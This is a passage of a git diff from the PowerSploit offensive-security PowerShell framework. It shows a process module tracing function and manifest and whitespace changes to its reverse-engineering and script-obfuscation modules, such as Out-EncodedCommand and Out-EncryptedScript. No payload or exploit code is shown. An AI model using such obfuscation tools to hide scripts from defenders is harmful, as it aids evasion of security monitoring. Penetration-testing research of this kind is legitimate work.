before you can retrieve a loaded module list' + } + + $Events.Action.Output +} + +function Unregister-ProcessModuleTrace +{ +<# +.SYNOPSIS + + Stops the running process module trace + + PowerSploit Function: Unregister-ProcessModuleTrace + Author: Matthew Graeber (@mattifestation) + License: BSD 3-Clause + Required Dependencies: Register-ProcessModuleTrace + Optional Dependencies: None + +.LINK + + http://www.exploit-monday.com/ +#> + + Unregister-Event -SourceIdentifier 'ModuleLoaded' +} diff --git a/ReverseEngineering/ReverseEngineering.psd1 b/ReverseEngineering/ReverseEngineering.psd1 index 1e179ea..de364e1 100644 --- a/ReverseEngineering/ReverseEngineering.psd1 +++ b/ReverseEngineering/ReverseEngineering.psd1 @@ -1,4 +1,4 @@ -@{
+@{
# Script module or binary module file associated with this manifest.
ModuleToProcess = 'ReverseEngineering.psm1'
@@ -52,7 +52,7 @@ PowerShellVersion = '2.0' # TypesToProcess = @()
# Format files (.ps1xml) to be loaded when importing this module
-FormatsToProcess = 'Get-PEB.format.ps1xml', 'Get-NtSystemInformation.format.ps1xml'
+FormatsToProcess = 'Get-PEB.format.ps1xml', 'Get-NtSystemInformation.format.ps1xml', 'Get-ILDisassembly.format.ps1xml', 'ProcessModuleTrace.format.ps1xml'
# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess
# NestedModules = @()
@@ -76,7 +76,7 @@ ModuleList = @(@{ModuleName = 'ReverseEngineering'; ModuleVersion = '1.0.0.0'; G FileList = 'ReverseEngineering.psm1', 'ReverseEngineering.psd1', 'Get-ILDisassembly.ps1', 'Get-NtSystemInformation.format.ps1xml',
'Get-NtSystemInformation.ps1', 'Get-Member.ps1', 'Get-MethodAddress.ps1', 'Get-PEB.format.ps1xml',
'Get-PEB.ps1', 'Get-Strings.ps1', 'Get-StructFromMemory.ps1', 'ConvertTo-String.ps1',
- 'New-Object.ps1', 'Usage.md'
+ 'New-Object.ps1', 'Get-ILDisassembly.format.ps1xml', 'ProcessModuleTrace.ps1', 'Usage.md'
# Private data to pass to the module specified in RootModule/ModuleToProcess
# PrivateData = ''
diff --git a/ReverseEngineering/ReverseEngineering.psm1 b/ReverseEngineering/ReverseEngineering.psm1 index 5bb81d3..81d3818 100644 --- a/ReverseEngineering/ReverseEngineering.psm1 +++ b/ReverseEngineering/ReverseEngineering.psm1 @@ -1 +1 @@ -Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName}
\ No newline at end of file +Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} diff --git a/ScriptModification/Out-CompressedDll.ps1 b/ScriptModification/Out-CompressedDll.ps1 index 3aa5c2b..5e6897d 100644 --- a/ScriptModification/Out-CompressedDll.ps1 +++ b/ScriptModification/Out-CompressedDll.ps1 @@ -1,4 +1,4 @@ -function Out-CompressedDll
+function Out-CompressedDll
{
<#
.SYNOPSIS
@@ -78,4 +78,4 @@ $EncodedCompressedFile "@
Write-Output $Output
-}
\ No newline at end of file +}
diff --git a/ScriptModification/Out-EncodedCommand.ps1 b/ScriptModification/Out-EncodedCommand.ps1 index cae4715..04e8c12 100644 --- a/ScriptModification/Out-EncodedCommand.ps1 +++ b/ScriptModification/Out-EncodedCommand.ps1 @@ -1,4 +1,4 @@ -function Out-EncodedCommand
+function Out-EncodedCommand
{
<#
.SYNOPSIS
@@ -181,4 +181,4 @@ http://www.exploit-monday.com }
Write-Output $CommandLineOutput
-}
\ No newline at end of file +}
diff --git a/ScriptModification/Out-EncryptedScript.ps1 b/ScriptModification/Out-EncryptedScript.ps1 index 3f09020..4fc69cf 100644 --- a/ScriptModification/Out-EncryptedScript.ps1 +++ b/ScriptModification/Out-EncryptedScript.ps1 @@ -126,4 +126,4 @@ return $encoding.GetString($h,0,$h.Length); Write-Verbose "Encrypted PS1 file saved to: $(Resolve-Path $FilePath)"
-}
\ No newline at end of file +}
diff --git a/ScriptModification/Remove-Comments.ps1 b/ScriptModification/Remove-Comments.ps1 index ec75927..45a9746 100644 --- a/ScriptModification/Remove-Comments.ps1 +++ b/ScriptModification/Remove-Comments.ps1 @@ -1,4 +1,4 @@ -function Remove-Comments
+function Remove-Comments
{
<#
.SYNOPSIS
@@ -153,4 +153,4 @@ http://www.leeholmes.com/blog/2007/11/07/syntax-highlighting-in-powershell/ }
Write-Output ([ScriptBlock]::Create($StringBuilder.ToString()))
-}
\ No newline at end of file +}
diff --git a/ScriptModification/ScriptModification.psd1 b/ScriptModification/ScriptModification.psd1 index 7393c29..d326c12 100644 --- a/ScriptModification/ScriptModification.psd1 +++ b/ScriptModification/ScriptModification.psd1 @@ -1,4 +1,4 @@ -@{
+@{
# Script module or binary module file associated with this manifest.
ModuleToProcess = 'ScriptModification.psm1'
@@ -85,4 +85,4 @@ FileList = 'ScriptModification.psm1', 'ScriptModification.psd1', 'Out-Compressed # Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix.
# DefaultCommandPrefix = ''
-}
\ No newline at end of file +}
diff --git a/ScriptModification/ScriptModification.psm1 b/ScriptModification/ScriptModification.psm1 index 5bb81d3..81d3818 100644 --- a/ScriptModification/ScriptModification.psm1 +++ b/ScriptModification/ScriptModification.psm1 @@ -1 +1 @@ -Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName}
\ No newline at end of file +Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} |